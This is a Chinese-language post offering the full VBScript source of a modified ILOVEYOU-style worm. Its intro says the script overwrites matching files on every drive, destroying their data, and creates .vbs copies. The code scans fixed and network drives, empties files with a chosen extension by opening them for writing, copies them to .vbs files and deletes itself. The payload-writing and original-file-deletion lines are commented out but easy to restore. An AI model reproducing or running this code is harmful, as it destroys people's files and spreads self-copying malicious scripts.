說明：作者對某些代碼進(jìn)行了修改。該文件是一個完整的程序。該文件執(zhí)行之后，會尋找硬盤上所有滿足條件的文件，對其進(jìn)行強(qiáng)制性覆蓋（滿足條件的文件數(shù)據(jù)將全部丟失）、并再創(chuàng)建一個相同文件名但后帶.vbs的文件。因此，請注意設(shè)立好破壞測試條件，千萬不要對他人進(jìn)行測試，否則，一切后果自負(fù)。如果你的系統(tǒng)不支持.vbs,可以將后綴改為.vbe

dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall '讀取病毒體，以備復(fù)制到文件
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then '檢查磁盤類型
wscript.echo d '彈出窗口，顯示找到盤符
scan(d)
end if
next 
lsfile=wscript.scriptfullname '該腳本程序路徑
set lsfile=fso.getfile(lsfile)
lsfile.delete(true) '病毒運(yùn)行后自我刪除(本人自加，愛蟲病毒本身沒有該代碼）

sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file) '獲取文件后綴
ext=lcase(ext) '后綴名轉(zhuǎn)換成小寫字母
if ext="mp5" then '如果后綴名是mp5,當(dāng)然不存在這種文件，這里可以自己修改，但是注意。請自己建立相應(yīng)后綴名的文件，最好是非正常后綴名
set ap=fso.opentextfile(file.path,2,true) 
' ap.write vbscopy '覆蓋文件，慎用
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & ".vbs") '創(chuàng)建另外一個病毒文件
' file.delete(true) '刪除原來文件
end if
next

set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目錄
scan(subfolder)
next 

end sub

最新評論